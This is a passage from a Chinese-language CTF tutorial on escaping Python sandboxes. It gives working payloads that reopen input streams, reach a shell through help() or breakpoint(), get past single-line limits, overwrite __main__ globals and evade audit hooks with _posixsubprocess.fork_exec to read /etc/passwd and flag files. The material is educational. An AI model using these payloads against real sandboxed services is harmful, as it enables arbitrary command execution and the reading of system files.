为例：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">eval</span>((<span class="built_in">__import__</span>(<span class="string">&quot;re&quot;</span>).sub(<span class="string">r&#x27;[a-z0-9]&#x27;</span>,<span class="string">&#x27;&#x27;</span>,<span class="built_in">input</span>(<span class="string">&quot;code &gt; &quot;</span>).lower()))[:<span class="number">130</span>])</span><br></pre></td></tr></table></figure></div><p>即使限制了字母数字以及长度，我们可以直接传入下面的 payload（注意是 unicode）<br>()<br> 这段 payload 打开 input 输入后，我们再输入最终的 payload 就可以正常执行。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;whoami&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p>打开输入流需要依赖 input 函数，no builtins 的环境中或者题目需要以 http 请求的方式进行输入时，这种方法就无法使用了。</p><p>下面是一些打开输入流的方式:</p><h5 id="sysstdinread"><a class="markdownIt-Anchor" href="#sysstdinread">#</a> sys.stdin.read()</h5><p>注意输入完毕之后按 ctrl+d 结束输入</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(sys.stdin.read())</span><br><span class="line"><span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;whoami&#x27;</span>)</span><br><span class="line">kali</span><br><span class="line"><span class="number">0</span></span><br><span class="line">&gt;&gt;&gt;</span><br></pre></td></tr></table></figure></div><h5 id="sysstdinreadline"><a class="markdownIt-Anchor" href="#sysstdinreadline">#</a> sys.stdin.readline()</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(sys.stdin.readline())</span><br><span class="line"><span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;whoami&#x27;</span>)</span><br></pre></td></tr></table></figure></div><h5 id="sysstdinreadlines"><a class="markdownIt-Anchor" href="#sysstdinreadlines">#</a> sys.stdin.readlines()</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(sys.stdin.readlines()[<span class="number">0</span>])</span><br><span class="line"><span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;whoami&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p>在 python2 中，在 python 2 中，input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。</p><h4 id="breakpoint-函数"><a class="markdownIt-Anchor" href="#breakpoint-函数">#</a> breakpoint 函数</h4><p>pdb 模块定义了一个交互式源代码调试器，用于 Python 程序。它支持在源码行间设置（有条件的）断点和单步执行，检视堆栈帧，列出源码列表，以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试，可以在程序控制下调用。</p><p>在输入 breakpoint () 后可以代开 Pdb 代码调试器，在其中就可以执行任意 python 代码</p><h3 id="help-函数"><a class="markdownIt-Anchor" href="#help-函数">#</a> help 函数</h3><p>help 函数可以打开帮助文档。索引到 os 模块之后可以打开 sh</p><p>当我们输入 help 时，注意要进行 unicode 编码，help 函数会打开帮助</p><p>然后输入 os, 此时会进入 os 的帮助文档。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">help&gt; os</span><br></pre></td></tr></table></figure></div><p>然后在输入  <code>!sh</code>  就可以拿到 /bin/sh, 输入  <code>!bash</code>  则可以拿到 /bin/bash</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">help&gt; os</span><br><span class="line">$ ls</span><br><span class="line">a-z0-9.py  exp2.py  exp.py  flag.txt</span><br><span class="line">$</span><br></pre></td></tr></table></figure></div><h3 id="绕过多行限制"><a class="markdownIt-Anchor" href="#绕过多行限制">#</a> 绕过多行限制</h3><p>绕过多行限制的利用手法通常在限制了单行代码的情况下使用，例如 eval, 中间如果存在；或者换行会报错。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&quot;__import__(&#x27;os&#x27;);print(1)&quot;</span>)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">  File <span class="string">&quot;&lt;string&gt;&quot;</span>, line <span class="number">1</span></span><br><span class="line">    <span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>);<span class="built_in">print</span>(<span class="number">1</span>)</span><br></pre></td></tr></table></figure></div><h4 id="exec"><a class="markdownIt-Anchor" href="#exec">#</a> exec</h4><p>exec 可以支持换行符与 <code>;</code></p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&quot;exec(&#x27;__import__(\&quot;os\&quot;)\\nprint(1)&#x27;)&quot;</span>)</span><br><span class="line"><span class="number">1</span></span><br></pre></td></tr></table></figure></div><h4 id="compile"><a class="markdownIt-Anchor" href="#compile">#</a> compile</h4><p>compile 在 single 模式下也同样可以使用 \n 进行换行，在 exec 模式下可以直接执行多行代码.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">eval</span>(<span class="string">&#x27;&#x27;&#x27;eval(compile(&#x27;print(&quot;hello world&quot;); print(&quot;heyy&quot;)&#x27;, &#x27;&lt;stdin&gt;&#x27;, &#x27;exec&#x27;))&#x27;&#x27;&#x27;</span>)</span><br></pre></td></tr></table></figure></div><h4 id="海象表达式"><a class="markdownIt-Anchor" href="#海象表达式">#</a> 海象表达式</h4><p>海象表达式是 Python 3.8 引入的一种新的语法特性，用于在表达式中同时进行赋值和比较操作。</p><p>海象表达式的语法形式如下：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;expression&gt; := &lt;value&gt; <span class="keyword">if</span> &lt;condition&gt; <span class="keyword">else</span> &lt;value&gt;</span><br></pre></td></tr></table></figure></div><p>借助海象表达式，我们可以通过列表来替代多行代码：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&#x27;[a:=__import__(&quot;os&quot;),b:=a.system(&quot;id&quot;)]&#x27;</span>)</span><br><span class="line">uid=<span class="number">1000</span>(kali) gid=<span class="number">0</span>(root) groups=<span class="number">0</span>(root),<span class="number">4</span>(adm),<span class="number">20</span>(dialout),<span class="number">24</span>(cdrom),<span class="number">25</span>(floppy),<span class="number">27</span>(sudo),<span class="number">29</span>(audio),<span class="number">30</span>(dip),<span class="number">44</span>(video),<span class="number">46</span>(plugdev),<span class="number">109</span>(netdev),<span class="number">119</span>(wireshark),<span class="number">122</span>(bluetooth),<span class="number">134</span>(scanner),<span class="number">142</span>(kaboxer)</span><br><span class="line">[&lt;module <span class="string">&#x27;os&#x27;</span> (frozen)&gt;, <span class="number">0</span>]</span><br></pre></td></tr></table></figure></div><h3 id="变量覆盖与函数篡改"><a class="markdownIt-Anchor" href="#变量覆盖与函数篡改">#</a> 变量覆盖与函数篡改</h3><p>在 Python 中，sys 模块提供了许多与 Python 解释器和其环境交互的功能，包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.</p><p>sys.modules 存放了现有模块的引用，通过访问  <code>sys.modules['__main__']</code>  就可以访问当当前模块定义的所有函数以及全局变量</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>aaa = <span class="string">&#x27;bbb&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">def</span> <span class="title function_">my_input</span>():</span><br><span class="line"><span class="meta">... </span>    dict_global = <span class="built_in">dict</span>()</span><br><span class="line"><span class="meta">... </span>    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"><span class="meta">... </span>      <span class="keyword">try</span>:</span><br><span class="line"><span class="meta">... </span>          input_data = <span class="built_in">input</span>(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line"><span class="meta">... </span>      <span class="keyword">except</span> EOFError:</span><br><span class="line"><span class="meta">... </span>          <span class="built_in">print</span>()</span><br><span class="line"><span class="meta">... </span>          <span class="keyword">break</span></span><br><span class="line"><span class="meta">... </span>      <span class="keyword">except</span> KeyboardInterrupt:</span><br><span class="line"><span class="meta">... </span>          <span class="built_in">print</span>(<span class="string">&#x27;bye~~&#x27;</span>)</span><br><span class="line"><span class="meta">... </span>          <span class="keyword">continue</span></span><br><span class="line"><span class="meta">... </span>      <span class="keyword">if</span> input_data == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line"><span class="meta">... </span>          <span class="keyword">continue</span></span><br><span class="line"><span class="meta">... </span>      <span class="keyword">try</span>:</span><br><span class="line"><span class="meta">... </span>          complie_code = <span class="built_in">compile</span>(input_data, <span class="string">&#x27;&lt;string&gt;&#x27;</span>, <span class="string">&#x27;single&#x27;</span>)</span><br><span class="line"><span class="meta">... </span>      <span class="keyword">except</span> SyntaxError <span class="keyword">as</span> err:</span><br><span class="line"><span class="meta">... </span>          <span class="built_in">print</span>(err)</span><br><span class="line"><span class="meta">... </span>          <span class="keyword">continue</span></span><br><span class="line"><span class="meta">... </span>      <span class="keyword">try</span>:</span><br><span class="line"><span class="meta">... </span>          <span class="built_in">exec</span>(complie_code, dict_global)</span><br><span class="line"><span class="meta">... </span>      <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line"><span class="meta">... </span>          <span class="built_in">print</span>(err)</span><br><span class="line"><span class="meta">... </span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">import</span> sys</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>sys.modules[<span class="string">&#x27;__main__&#x27;</span>]</span><br><span class="line">&lt;module <span class="string">&#x27;__main__&#x27;</span> (built-<span class="keyword">in</span>)&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">dir</span>(sys.modules[<span class="string">&#x27;__main__&#x27;</span>])</span><br><span class="line">[<span class="string">&#x27;__annotations__&#x27;</span>, <span class="string">&#x27;__builtins__&#x27;</span>, <span class="string">&#x27;__doc__&#x27;</span>, <span class="string">&#x27;__loader__&#x27;</span>, <span class="string">&#x27;__name__&#x27;</span>, <span class="string">&#x27;__package__&#x27;</span>, <span class="string">&#x27;__spec__&#x27;</span>, <span class="string">&#x27;aaa&#x27;</span>, <span class="string">&#x27;my_input&#x27;</span>, <span class="string">&#x27;sys&#x27;</span>]</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>sys.modules[<span class="string">&#x27;__main__&#x27;</span>].aaa</span><br><span class="line"><span class="string">&#x27;bbb&#x27;</span></span><br></pre></td></tr></table></figure></div><p>除了通过 sys 模块来获取当前模块的变量以及函数外，还可以通过  <code>__builtins__</code> 篡改内置函数等，这只是一个思路.</p><p>总体来说，只要获取了某个函数或者变量就可以篡改，难点就在于获取.</p><h4 id="利用-gc-获取已删除模块"><a class="markdownIt-Anchor" href="#利用-gc-获取已删除模块">#</a> 利用 gc 获取已删除模块</h4><p>这个思路来源于 <a class="link" href="https://github.com/fab1ano/hxp-ctf-20/tree/master/audited">writeup by fab1ano – github <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>这道题的目标是覆盖  <code>__main__</code>  中的  <code>__exit</code>  函数，但是题目将  <code>sys.modules['__main__']</code>  删除了，无法直接获取.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> module <span class="keyword">in</span> <span class="built_in">set</span>(sys.modules.keys()):</span><br><span class="line">    <span class="keyword">if</span> module <span class="keyword">in</span> sys.modules:</span><br><span class="line">        <span class="keyword">del</span> sys.modules[module]</span><br></pre></td></tr></table></figure></div><p><code>gc</code>  是 Python 的内置模块，全名为 &quot;garbage collector&quot;，中文译为 &quot;垃圾回收&quot;。 <code>gc</code>  模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。</p><p>Python 使用了引用计数作为其主要的内存管理机制，同时也引入了循环垃圾回收器来检测并收集循环引用的对象。 <code>gc</code>  模块提供了一些函数，让你可以直接控制这个循环垃圾回收器。</p><p>下面是一些  <code>gc</code>  模块中的主要函数：</p><ol><li><code>gc.collect(generation=2)</code> ：这个函数会立即触发一次垃圾回收。你可以通过  <code>generation</code>  参数指定要收集的代数。Python 的垃圾回收器是分代的，新创建的对象在第一代，经历过一次垃圾回收后仍然存活的对象会被移到下一代。</li><li><code>gc.get_objects()</code> ：这个函数会返回当前被管理的所有对象的列表。</li><li><code>gc.get_referrers(*objs)</code> ：这个函数会返回指向  <code>objs</code>  中任何一个对象的对象列表。</li></ol><p>exp 如下</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> obj <span class="keyword">in</span> gc.get_objects():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;__name__&#x27;</span> <span class="keyword">in</span> <span class="built_in">dir</span>(obj):</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&#x27;__main__&#x27;</span> <span class="keyword">in</span> obj.__name__:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&#x27;Found module __main__&#x27;</span>)</span><br><span class="line">            mod_main = obj</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&#x27;os&#x27;</span> == obj.__name__:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&#x27;Found module os&#x27;</span>)</span><br><span class="line">            mod_os = obj</span><br><span class="line">mod_main.__exit = <span class="keyword">lambda</span> x : <span class="built_in">print</span>(<span class="string">&quot;[+] bypass&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.</p><h4 id="利用-traceback-获取模块"><a class="markdownIt-Anchor" href="#利用-traceback-获取模块">#</a> 利用 traceback 获取模块</h4><p>这个思路来源于 <a class="link" href="https://github.com/hstocks/ctf_writeups/blob/master/2020/hxp/audited/README.md">writeup by hstocks – github <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>主动抛出异常，并获取其后要执行的代码，然后将 <code>__exit</code>  进行替换，思路也是十分巧妙.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">raise</span> Exception()</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    _, _, tb = sys.exc_info()</span><br><span class="line">    nxt_frame = tb.tb_frame</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Walk up stack frames until we find one which</span></span><br><span class="line">    <span class="comment"># has a reference to the audit function</span></span><br><span class="line">    <span class="keyword">while</span> nxt_frame:</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&#x27;audit&#x27;</span> <span class="keyword">in</span> nxt_frame.f_globals:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        nxt_frame = nxt_frame.f_back</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Neuter the __exit function</span></span><br><span class="line">    nxt_frame.f_globals[<span class="string">&#x27;__exit&#x27;</span>] = <span class="built_in">print</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Now we&#x27;re free to call whatever we want</span></span><br><span class="line">    os.system(<span class="string">&#x27;cat /flag*&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p>但是实际测试时使用 python 3.11 发现  <code>nxt_frame = tb.tb_frame</code>  会触发  <code>object.__getattr__</code>  hook. 不同的版本中触发 hook 的地方会有差异，这个 payload 可能仅在 python 3.9 (题目版本) 中适用</p><h3 id="绕过-audit-hook"><a class="markdownIt-Anchor" href="#绕过-audit-hook">#</a> 绕过 audit hook</h3><p>Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同，且可能会随着 Python 解释器的更新而变动。</p><p>Python 中的审计事件包括但不限于以下几类：</p><ul><li><code>import</code> ：发生在导入模块时。</li><li><code>open</code> ：发生在打开文件时。</li><li><code>write</code> ：发生在写入文件时。</li><li><code>exec</code> ：发生在执行 Python 代码时。</li><li><code>compile</code> ：发生在编译 Python 代码时。</li><li><code>socket</code> ：发生在创建或使用网络套接字时。</li><li><code>os.system</code> ， <code>os.popen</code>  等：发生在执行操作系统命令时。</li><li><code>subprocess.Popen</code> ， <code>subprocess.run</code>  等：发生在启动子进程时。</li></ul><p>calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱，采用白名单来进行限制.audit hook 属于 python 底层的实现，因此常规的变换根本无法绕过.</p><p>这道题需要绕过的点有两个:</p><ol><li><p>绕过 import 导入模块。如果直接使用 import, 就会触发 audithook</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&gt; __import__(&#x27;ctypes&#x27;)</span><br><span class="line"> Operation not permitted: import</span><br></pre></td></tr></table></figure></div></li><li><p>绕过常规的命令执行方法执行命令。利用 os, subproccess 等模块执行命令时也会触发 audithook</p></li></ol><p>在上文利用 <code>_posixsubprocess.fork.exec</code>  绕过之外：</p><h4 id="_posixsubprocess-执行命令"><a class="markdownIt-Anchor" href="#_posixsubprocess-执行命令">#</a> _posixsubprocess 执行命令</h4><p>_posixsubprocess 模块是 Python 的内部模块，提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.</p><p>该模块的核心功能是 fork_exec 函数，fork_exec 提供了一个非常底层的方式来创建一个新的子进程，并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出，每个版本的 Python 可能有所差异.</p><p>在我本地的 Python 3.11 中具体的函数声明如下:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">fork_exec</span>(<span class="params"></span></span><br><span class="line"><span class="params">    __process_args: <span class="type">Sequence</span>[StrOrBytesPath] | <span class="literal">None</span>,</span></span><br><span class="line"><span class="params">    __executable_list: <span class="type">Sequence</span>[<span class="built_in">bytes</span>],</span></span><br><span class="line"><span class="params">    __close_fds: <span class="built_in">bool</span>,</span></span><br><span class="line"><span class="params">    __fds_to_keep: <span class="built_in">tuple</span>[<span class="built_in">int</span>, ...],</span></span><br><span class="line"><span class="params">    __cwd_obj: <span class="built_in">str</span>,</span></span><br><span class="line"><span class="params">    __env_list: <span class="type">Sequence</span>[<span class="built_in">bytes</span>] | <span class="literal">None</span>,</span></span><br><span class="line"><span class="params">    __p2cread: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __p2cwrite: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __c2pred: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __c2pwrite: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __errread: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __errwrite: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __errpipe_read: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __errpipe_write: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __restore_signals: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __call_setsid: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __pgid_to_set: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __gid_object: SupportsIndex | <span class="literal">None</span>,</span></span><br><span class="line"><span class="params">    __groups_list: <span class="built_in">list</span>[<span class="built_in">int</span>] | <span class="literal">None</span>,</span></span><br><span class="line"><span class="params">    __uid_object: SupportsIndex | <span class="literal">None</span>,</span></span><br><span class="line"><span class="params">    __child_umask: <span class="built_in">int</span>,</span></span><br><span class="line"><span class="params">    __preexec_fn: <span class="type">Callable</span>[[], <span class="literal">None</span>],</span></span><br><span class="line"><span class="params">    __allow_vfork: <span class="built_in">bool</span>,</span></span><br><span class="line"><span class="params"></span>) -&gt; <span class="built_in">int</span>: ...</span><br></pre></td></tr></table></figure></div><ul><li><code>__process_args</code> : 传递给新进程的命令行参数，通常为程序路径及其参数的列表。</li><li><code>__executable_list</code> : 可执行程序路径的列表。</li><li><code>__close_fds</code> : 如果设置为 True，则在新进程中关闭所有的文件描述符。</li><li><code>__fds_to_keep</code> : 一个元组，表示在新进程中需要保持打开的文件描述符的列表。</li><li><code>__cwd_obj</code> : 新进程的工作目录。</li><li><code>__env_list</code> : 环境变量列表，它是键和值的序列，例如：[“PATH=/usr/bin”, “HOME=/home/user”]。</li><li><code>__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite</code> : 这些是文件描述符，用于在父子进程间进行通信。</li><li><code>__errpipe_read, __errpipe_write</code> : 这两个文件描述符用于父子进程间的错误通信。</li><li><code>__restore_signals</code> : 如果设置为 1，则在新创建的子进程中恢复默认的信号处理。</li><li><code>__call_setsid</code> : 如果设置为 1，则在新进程中创建新的会话。</li><li><code>__pgid_to_set</code> : 设置新进程的进程组 ID。</li><li><code>__gid_object, __groups_list, __uid_object</code> : 这些参数用于设置新进程的用户 ID 和组 ID。</li><li><code>__child_umask</code> : 设置新进程的 umask。</li><li><code>__preexec_fn</code> : 在新进程中执行的函数，它会在新进程的主体部分执行之前调用。</li><li><code>__allow_vfork</code> : 如果设置为 True，则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork，但是使用 vfork 可能会有一些问题 。</li></ul><p>下面是一个最小化示例:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> _posixsubprocess</span><br><span class="line"></span><br><span class="line">_posixsubprocess.fork_exec([<span class="string">b&quot;/bin/cat&quot;</span>,<span class="string">&quot;/etc/passwd&quot;</span>], [<span class="string">b&quot;/bin/cat&quot;</span>], <span class="literal">True</span>, (), <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, *(os.pipe()), <span class="literal">False</span>, <span class="literal">False</span>,<span class="literal">False</span>, <span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, <span class="literal">None</span>, <span class="literal">False</span>)</span><br></pre></td></tr></table></figure></div><p>结合上面的  <code>__loader__.load_module(fullname)</code>  可以得到最终的 payload:</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__loader__.load_module(<span class="string">&#x27;_posixsubprocess&#x27;</span>).fork_exec([<span class="string">b&quot;/bin/cat&quot;</span>,<span class="string">&quot;/etc/passwd&quot;</span>], [<span class="string">b&quot;/bin/cat&quot;</span>], <span class="literal">True</span>, (), <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, *(__loader__.load_module(<span class="string">&#x27;os&#x27;</span>).pipe()), <span class="literal">False</span>, <span class="literal">False</span>,<span class="literal">False</span>, <span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, <span class="literal">None</span>, <span class="literal">False</span>)</span><br></pre></td></tr></table></figure></div><p>可以看到全程触发了  <code>builtins.input/result</code> , compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的， <code>__loader__.load_module</code>  和  <code>_posixsubprocess</code>  都没有触发.</p><div class="highlight-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[+] builtins.input/result, (&#x27;__loader__.load_module(\&#x27;_posixsubprocess\&#x27;).fork_exec([b&quot;/bin/cat&quot;,&quot;/flag&quot;], [b&quot;/bin/cat&quot;], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\&#x27;os\&#x27;).pipe()), False, False,False, None, None, None, -1, None, False)&#x27;,)</span><br><span class="line">[+] compile, (b&#x27;__loader__.load_module(\&#x27;_posixsubprocess\&#x27;).fork_exec([b&quot;/bin/cat&quot;,&quot;/flag&quot;], [b&quot;/bin/cat&quot;], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\&#x27;os\&#x27;).pipe()), False, False,False, None, None, None, -1, None, False)&#x27;, &#x27;&lt;string&gt;&#x27;)</span><br><span class="line">[+] exec, (&lt;code object &lt;module&gt; at 0x7fbecc924670, file &quot;&lt;string&gt;&quot;, line 1&gt;,)</span><br></pre></td></tr></table></figure></div><h4 id="__loader__load_module-导入模块"><a class="markdownIt-Anchor" href="#__loader__load_module-导入模块">#</a>  <code>__loader__.load_module</code>  导入模块</h4><p><code>__loader__.load_module(fullname)</code>  也是 python 中用于导入模块的一个方法并且不需要导入其他任何库.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__loader__.load_module(<span class="string">&#x27;os&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p><code>__loader__</code>  实际上指向的是  <code>_frozen_importlib.BuiltinImporter</code>  类，也可以通过别的方式进行获取</p><div class="highlight-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 